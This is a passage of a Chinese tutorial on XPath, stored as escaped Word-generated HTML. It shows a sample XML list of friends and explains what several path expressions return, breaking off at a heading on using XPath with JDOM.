2"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: blue; mso-font-kerning: 0pt; mso-highlight: white"&gt;&amp;lt;&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: maroon; mso-font-kerning: 0pt; mso-highlight: white"&gt;name&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: blue; mso-font-kerning: 0pt; mso-highlight: white"&gt;&amp;gt;&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: black; mso-font-kerning: 0pt; mso-highlight: white"&gt;zoof&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: blue; mso-font-kerning: 0pt; mso-highlight: white"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: maroon; mso-font-kerning: 0pt; mso-highlight: white"&gt;name&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: blue; mso-font-kerning: 0pt; mso-highlight: white"&gt;&amp;gt;&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: black; mso-font-kerning: 0pt; mso-highlight: white"&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin: 0cm 0cm 0pt; text-align: left; mso-layout-grid-align: none" class="MsoNormal" align="left"&gt;&lt;font face="Times New Roman"&gt;&lt;span style="font-size: 12pt; background: white; color: black; mso-font-kerning: 0pt; mso-highlight: white"&gt;&lt;span style="mso-tab-count: 2"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: blue; mso-font-kerning: 0pt; mso-highlight: white"&gt;&amp;lt;&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: maroon; mso-font-kerning: 0pt; mso-highlight: white"&gt;sex&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: red; mso-font-kerning: 0pt; mso-highlight: white"&gt; value&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: blue; mso-font-kerning: 0pt; mso-highlight: white"&gt;=&amp;quot;&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: black; mso-font-kerning: 0pt; mso-highlight: white"&gt;male&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: blue; mso-font-kerning: 0pt; mso-highlight: white"&gt;&amp;quot;/&amp;gt;&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: black; mso-font-kerning: 0pt; mso-highlight: white"&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin: 0cm 0cm 0pt; text-align: left; mso-layout-grid-align: none" class="MsoNormal" align="left"&gt;&lt;font face="Times New Roman"&gt;&lt;span style="font-size: 12pt; background: white; color: black; mso-font-kerning: 0pt; mso-highlight: white"&gt;&lt;span style="mso-tab-count: 2"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: blue; mso-font-kerning: 0pt; mso-highlight: white"&gt;&amp;lt;&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: maroon; mso-font-kerning: 0pt; mso-highlight: white"&gt;phone&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: blue; mso-font-kerning: 0pt; mso-highlight: white"&gt;&amp;gt;&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: black; mso-font-kerning: 0pt; mso-highlight: white"&gt;87654321&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: blue; mso-font-kerning: 0pt; mso-highlight: white"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: maroon; mso-font-kerning: 0pt; mso-highlight: white"&gt;phone&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: blue; mso-font-kerning: 0pt; mso-highlight: white"&gt;&amp;gt;&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: black; mso-font-kerning: 0pt; mso-highlight: white"&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin: 0cm 0cm 0pt; text-align: left; mso-layout-grid-align: none" class="MsoNormal" align="left"&gt;&lt;font face="Times New Roman"&gt;&lt;span style="font-size: 12pt; background: white; color: black; mso-font-kerning: 0pt; mso-highlight: white"&gt;&lt;span style="mso-tab-count: 1"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: blue; mso-font-kerning: 0pt; mso-highlight: white"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: maroon; mso-font-kerning: 0pt; mso-highlight: white"&gt;friend&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: blue; mso-font-kerning: 0pt; mso-highlight: white"&gt;&amp;gt;&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: black; mso-font-kerning: 0pt; mso-highlight: white"&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin: 0cm 0cm 0pt; text-align: left; mso-layout-grid-align: none" class="MsoNormal" align="left"&gt;&lt;font face="Times New Roman"&gt;&lt;span style="font-size: 12pt; background: white; color: black; mso-font-kerning: 0pt; mso-highlight: white"&gt;&lt;span style="mso-tab-count: 1"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: blue; mso-font-kerning: 0pt; mso-highlight: white"&gt;&amp;lt;&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: maroon; mso-font-kerning: 0pt; mso-highlight: white"&gt;friend&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: red; mso-font-kerning: 0pt; mso-highlight: white"&gt; number&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: blue; mso-font-kerning: 0pt; mso-highlight: white"&gt;=&amp;quot;&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: black; mso-font-kerning: 0pt; mso-highlight: white"&gt;2&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: blue; mso-font-kerning: 0pt; mso-highlight: white"&gt;&amp;quot;&amp;gt;&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: black; mso-font-kerning: 0pt; mso-highlight: white"&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin: 0cm 0cm 0pt; text-align: left; mso-layout-grid-align: none" class="MsoNormal" align="left"&gt;&lt;font face="Times New Roman"&gt;&lt;span style="font-size: 12pt; background: white; color: black; mso-font-kerning: 0pt; mso-highlight: white"&gt;&lt;span style="mso-tab-count: 2"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: blue; mso-font-kerning: 0pt; mso-highlight: white"&gt;&amp;lt;&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: maroon; mso-font-kerning: 0pt; mso-highlight: white"&gt;name&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: blue; mso-font-kerning: 0pt; mso-highlight: white"&gt;&amp;gt;&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: black; mso-font-kerning: 0pt; mso-highlight: white"&gt;joe&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: blue; mso-font-kerning: 0pt; mso-highlight: white"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: maroon; mso-font-kerning: 0pt; mso-highlight: white"&gt;name&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: blue; mso-font-kerning: 0pt; mso-highlight: white"&gt;&amp;gt;&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: black; mso-font-kerning: 0pt; mso-highlight: white"&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin: 0cm 0cm 0pt; text-align: left; mso-layout-grid-align: none" class="MsoNormal" align="left"&gt;&lt;font face="Times New Roman"&gt;&lt;span style="font-size: 12pt; background: white; color: black; mso-font-kerning: 0pt; mso-highlight: white"&gt;&lt;span style="mso-tab-count: 2"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: blue; mso-font-kerning: 0pt; mso-highlight: white"&gt;&amp;lt;&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: maroon; mso-font-kerning: 0pt; mso-highlight: white"&gt;sex&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: red; mso-font-kerning: 0pt; mso-highlight: white"&gt; value&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: blue; mso-font-kerning: 0pt; mso-highlight: white"&gt;=&amp;quot;&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: black; mso-font-kerning: 0pt; mso-highlight: white"&gt;male&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: blue; mso-font-kerning: 0pt; mso-highlight: white"&gt;&amp;quot;/&amp;gt;&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: black; mso-font-kerning: 0pt; mso-highlight: white"&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin: 0cm 0cm 0pt; text-align: left; mso-layout-grid-align: none" class="MsoNormal" align="left"&gt;&lt;font face="Times New Roman"&gt;&lt;span style="font-size: 12pt; background: white; color: black; mso-font-kerning: 0pt; mso-highlight: white"&gt;&lt;span style="mso-tab-count: 2"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: blue; mso-font-kerning: 0pt; mso-highlight: white"&gt;&amp;lt;&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: maroon; mso-font-kerning: 0pt; mso-highlight: white"&gt;phone&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: blue; mso-font-kerning: 0pt; mso-highlight: white"&gt;&amp;gt;&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: black; mso-font-kerning: 0pt; mso-highlight: white"&gt;87654322&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: blue; mso-font-kerning: 0pt; mso-highlight: white"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: maroon; mso-font-kerning: 0pt; mso-highlight: white"&gt;phone&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: blue; mso-font-kerning: 0pt; mso-highlight: white"&gt;&amp;gt;&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: black; mso-font-kerning: 0pt; mso-highlight: white"&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin: 0cm 0cm 0pt; text-align: left; mso-layout-grid-align: none" class="MsoNormal" align="left"&gt;&lt;font face="Times New Roman"&gt;&lt;span style="font-size: 12pt; background: white; color: black; mso-font-kerning: 0pt; mso-highlight: white"&gt;&lt;span style="mso-tab-count: 1"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: blue; mso-font-kerning: 0pt; mso-highlight: white"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: maroon; mso-font-kerning: 0pt; mso-highlight: white"&gt;friend&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: blue; mso-font-kerning: 0pt; mso-highlight: white"&gt;&amp;gt;&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: black; mso-font-kerning: 0pt; mso-highlight: white"&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin: 0cm 0cm 0pt; text-align: left; mso-layout-grid-align: none" class="MsoNormal" align="left"&gt;&lt;font face="Times New Roman"&gt;&lt;span style="font-size: 12pt; background: white; color: black; mso-font-kerning: 0pt; mso-highlight: white"&gt;&lt;span style="mso-tab-count: 1"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: blue; mso-font-kerning: 0pt; mso-highlight: white"&gt;&amp;lt;&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: maroon; mso-font-kerning: 0pt; mso-highlight: white"&gt;friend&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: red; mso-font-kerning: 0pt; mso-highlight: white"&gt; number&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: blue; mso-font-kerning: 0pt; mso-highlight: white"&gt;=&amp;quot;&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: black; mso-font-kerning: 0pt; mso-highlight: white"&gt;3&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: blue; mso-font-kerning: 0pt; mso-highlight: white"&gt;&amp;quot;&amp;gt;&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: black; mso-font-kerning: 0pt; mso-highlight: white"&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin: 0cm 0cm 0pt; text-align: left; mso-layout-grid-align: none" class="MsoNormal" align="left"&gt;&lt;font face="Times New Roman"&gt;&lt;span style="font-size: 12pt; background: white; color: black; mso-font-kerning: 0pt; mso-highlight: white"&gt;&lt;span style="mso-tab-count: 2"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: blue; mso-font-kerning: 0pt; mso-highlight: white"&gt;&amp;lt;&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: maroon; mso-font-kerning: 0pt; mso-highlight: white"&gt;name&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: blue; mso-font-kerning: 0pt; mso-highlight: white"&gt;&amp;gt;&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: black; mso-font-kerning: 0pt; mso-highlight: white"&gt;joe&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: blue; mso-font-kerning: 0pt; mso-highlight: white"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: maroon; mso-font-kerning: 0pt; mso-highlight: white"&gt;name&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: blue; mso-font-kerning: 0pt; mso-highlight: white"&gt;&amp;gt;&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: black; mso-font-kerning: 0pt; mso-highlight: white"&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin: 0cm 0cm 0pt; text-align: left; mso-layout-grid-align: none" class="MsoNormal" align="left"&gt;&lt;font face="Times New Roman"&gt;&lt;span style="font-size: 12pt; background: white; color: black; mso-font-kerning: 0pt; mso-highlight: white"&gt;&lt;span style="mso-tab-count: 2"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: blue; mso-font-kerning: 0pt; mso-highlight: white"&gt;&amp;lt;&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: maroon; mso-font-kerning: 0pt; mso-highlight: white"&gt;sex&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: red; mso-font-kerning: 0pt; mso-highlight: white"&gt; value&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: blue; mso-font-kerning: 0pt; mso-highlight: white"&gt;=&amp;quot;&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: black; mso-font-kerning: 0pt; mso-highlight: white"&gt;female&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: blue; mso-font-kerning: 0pt; mso-highlight: white"&gt;&amp;quot;/&amp;gt;&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: black; mso-font-kerning: 0pt; mso-highlight: white"&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin: 0cm 0cm 0pt; text-align: left; mso-layout-grid-align: none" class="MsoNormal" align="left"&gt;&lt;font face="Times New Roman"&gt;&lt;span style="font-size: 12pt; background: white; color: black; mso-font-kerning: 0pt; mso-highlight: white"&gt;&lt;span style="mso-tab-count: 2"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: blue; mso-font-kerning: 0pt; mso-highlight: white"&gt;&amp;lt;&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: maroon; mso-font-kerning: 0pt; mso-highlight: white"&gt;phone&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: blue; mso-font-kerning: 0pt; mso-highlight: white"&gt;&amp;gt;&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: black; mso-font-kerning: 0pt; mso-highlight: white"&gt;87654323&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: blue; mso-font-kerning: 0pt; mso-highlight: white"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: maroon; mso-font-kerning: 0pt; mso-highlight: white"&gt;phone&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: blue; mso-font-kerning: 0pt; mso-highlight: white"&gt;&amp;gt;&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: black; mso-font-kerning: 0pt; mso-highlight: white"&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin: 0cm 0cm 0pt; text-align: left; mso-layout-grid-align: none" class="MsoNormal" align="left"&gt;&lt;font face="Times New Roman"&gt;&lt;span style="font-size: 12pt; background: white; color: black; mso-font-kerning: 0pt; mso-highlight: white"&gt;&lt;span style="mso-tab-count: 1"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;/span&gt;&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: blue; mso-font-kerning: 0pt; mso-highlight: white"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: maroon; mso-font-kerning: 0pt; mso-highlight: white"&gt;friend&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: blue; mso-font-kerning: 0pt; mso-highlight: white"&gt;&amp;gt;&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: black; mso-font-kerning: 0pt; mso-highlight: white"&gt;&lt;/span&gt;&lt;/font&gt;&lt;/p&gt;&lt;p style="margin: 0cm 0cm 0pt; text-align: left; mso-pagination: widow-orphan; mso-outline-level: 1" class="MsoNormal" align="left"&gt;&lt;font face="Times New Roman"&gt;&lt;span style="font-size: 12pt; background: white; color: blue; mso-font-kerning: 0pt; mso-highlight: white"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: maroon; mso-font-kerning: 0pt; mso-highlight: white"&gt;friends&lt;/span&gt;&lt;span style="font-size: 12pt; background: white; color: blue; mso-font-kerning: 0pt; mso-highlight: white"&gt;&amp;gt;&lt;/span&gt;&lt;/font&gt;&lt;span style="font-size: 12pt;  mso-font-kerning: 0pt; mso-bidi-"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0cm 0cm 0pt; text-indent: 21pt; text-align: left; mso-pagination: widow-orphan" class="MsoNormal" align="left"&gt;&lt;span style="font-size: 12pt;  mso-font-kerning: 0pt; mso-bidi-"&gt;在&lt;span&gt;XML&lt;/span&gt;文档中使用位置路径表达式来查找信息，这些表达式有很多种组成方式。一般我们用得最多的恐怕是节点元素 查找。&lt;span&gt;XPATH&lt;/span&gt;中用正斜杠（&lt;span&gt;/&lt;/span&gt;）来分隔子结点，返回所有与&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0cm 0cm 0pt; text-align: left; mso-pagination: widow-orphan" class="MsoNormal" align="left"&gt;&lt;span style="font-size: 12pt;  mso-font-kerning: 0pt; mso-bidi-"&gt;模式相匹配的元素。下面以几个 表达式 的例子来说明一下返回结果：&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0cm 0cm 0pt; text-align: left; mso-pagination: widow-orphan" class="MsoNormal" align="left"&gt;&lt;span style="font-size: 12pt;  mso-font-kerning: 0pt; mso-bidi-"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;/span&gt;&lt;span style="font-size: 12pt;  mso-font-kerning: 0pt; mso-bidi-"&gt;表达式：&lt;span&gt;/friends/friend&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;/span&gt;返回：根元素&lt;span&gt;friends&lt;/span&gt;下所有的&lt;span&gt; friend &lt;/span&gt;元素（或节点）。（当然本例只有一个啦！）&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0cm 0cm 0pt; text-align: left; mso-pagination: widow-orphan" class="MsoNormal" align="left"&gt;&lt;span style="font-size: 12pt;  mso-font-kerning: 0pt; mso-bidi-"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;/span&gt;&lt;span style="font-size: 12pt;  mso-font-kerning: 0pt; mso-bidi-"&gt;表达式：&lt;span&gt;/friends/*&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;/span&gt;返回：根元素&lt;span&gt;friends&lt;/span&gt;下所有的元素（或节点）。（&lt;span&gt;&amp;ldquo;*&amp;rdquo;&lt;/span&gt;相当于通配符，表示&lt;span&gt;&amp;ldquo;&lt;/span&gt;所有&lt;span&gt;&amp;rdquo;&lt;/span&gt;的）&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0cm 0cm 0pt; text-align: left; mso-pagination: widow-orphan" class="MsoNormal" align="left"&gt;&lt;span style="font-size: 12pt;  mso-font-kerning: 0pt; mso-bidi-"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;/span&gt;&lt;span style="font-size: 12pt;  mso-font-kerning: 0pt; mso-bidi-"&gt;表达式：&lt;span&gt;//friend&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;/span&gt;返回：任意元素（或节点）下的所有&lt;span&gt; friend &lt;/span&gt;元素（或节点）。（注意：不仅仅是&lt;span&gt;1&lt;/span&gt;中 根元素&lt;span&gt;friends&lt;/span&gt;下面的&lt;span&gt;friend&lt;/span&gt;元素&lt;span&gt;,&lt;/span&gt;如果存在的话）&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0cm 0cm 0pt; text-align: left; mso-pagination: widow-orphan" class="MsoNormal" align="left"&gt;&lt;span style="font-size: 12pt;  mso-font-kerning: 0pt; mso-bidi-"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;/span&gt;&lt;span style="font-size: 12pt;  mso-font-kerning: 0pt; mso-bidi-"&gt;表达式：&lt;span&gt;/friends/friend[@number='1']&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;/span&gt;返回：根元素下元素名称为&lt;span&gt; friend&lt;/span&gt;，&lt;span&gt;number&lt;/span&gt;属性为&lt;span&gt;'1'&lt;/span&gt;的全部元素（或节点）。（对于元素或节点的附加元素，比如属性，函数等都要用方括号&lt;span&gt;&amp;quot;[]&amp;quot;&lt;/span&gt;扩起来，属性前面要加&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0cm 0cm 0pt; text-align: left; mso-pagination: widow-orphan" class="MsoNormal" align="left"&gt;&lt;span style="font-size: 12pt;  mso-font-kerning: 0pt; mso-bidi-"&gt;上&lt;span&gt;&amp;quot;@&amp;quot;&lt;/span&gt;号）&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0cm 0cm 0pt; text-align: left; mso-pagination: widow-orphan" class="MsoNormal" align="left"&gt;&lt;span style="font-size: 12pt;  mso-font-kerning: 0pt; mso-bidi-"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;/span&gt;&lt;span style="font-size: 12pt;  mso-font-kerning: 0pt; mso-bidi-"&gt;表达式：&lt;span&gt;/friends/friend/phone[text()='87654321']&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;/span&gt;返回：元素&lt;span&gt;friends/friend&lt;/span&gt;下电话号码为&lt;span&gt; 87654321 &lt;/span&gt;的全部元素。（&lt;span&gt;text()&lt;/span&gt;是&lt;span&gt;XPATH&lt;/span&gt;的函数，功能是取出当前节点的文本内容，即&lt;span&gt;content&lt;/span&gt;。）&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0cm 0cm 0pt; text-align: left; mso-pagination: widow-orphan" class="MsoNormal" align="left"&gt;&lt;span style="font-size: 12pt;  mso-font-kerning: 0pt; mso-bidi-"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;/span&gt;&lt;span style="font-size: 12pt;  mso-font-kerning: 0pt; mso-bidi-"&gt;表达式：&lt;span&gt;//name/parent::*&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;/span&gt;返回：&lt;span&gt;name&lt;/span&gt;元素的所有父元素（或节点）。&lt;span&gt;(parent::* &lt;/span&gt;表示这个元素的所有的父节点的集合&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0cm 0cm 0pt; text-align: left; mso-pagination: widow-orphan" class="MsoNormal" align="left"&gt;&lt;span style="font-size: 12pt;  mso-font-kerning: 0pt; mso-bidi-"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;  &lt;/span&gt;&lt;span style="font-size: 12pt;  mso-font-kerning: 0pt; mso-bidi-"&gt;上面的介绍对于我们一般的应用基本上够用了，如果你需要进一步的深入，请查看&lt;span&gt;W&lt;st1:chmetcnv unitname="C" sourcevalue="3" hasspace="False" negative="False" numbertype="1" tcsc="0"&gt;3C&lt;/st1:chmetcnv&gt;&lt;/span&gt;发布的关于&lt;span&gt;XAPH&lt;/span&gt;的官方资料。&lt;span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0cm 0cm 0pt; text-align: left; mso-pagination: widow-orphan; mso-outline-level: 1" class="MsoNormal" align="left"&gt;&lt;strong&gt;&lt;span style="font-size: 12pt;  mso-font-kerning: 0pt; mso-bidi-"&gt;JDOM+XPATH&lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style="font-size: 12pt;  mso-font-kerning: 0pt; mso-bidi-"&gt;应用&lt;/span&gt;&lt;/strong&gt;&lt;span style="font-size: 12pt;  mso-font-kerning: 0pt; mso-bidi-"&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style="margin: 0cm 0cm 0pt; text-align: left; mso-pagination: widow-orphan" class="MsoNormal" align="left"&gt;&lt;span style="font-size: 12pt;  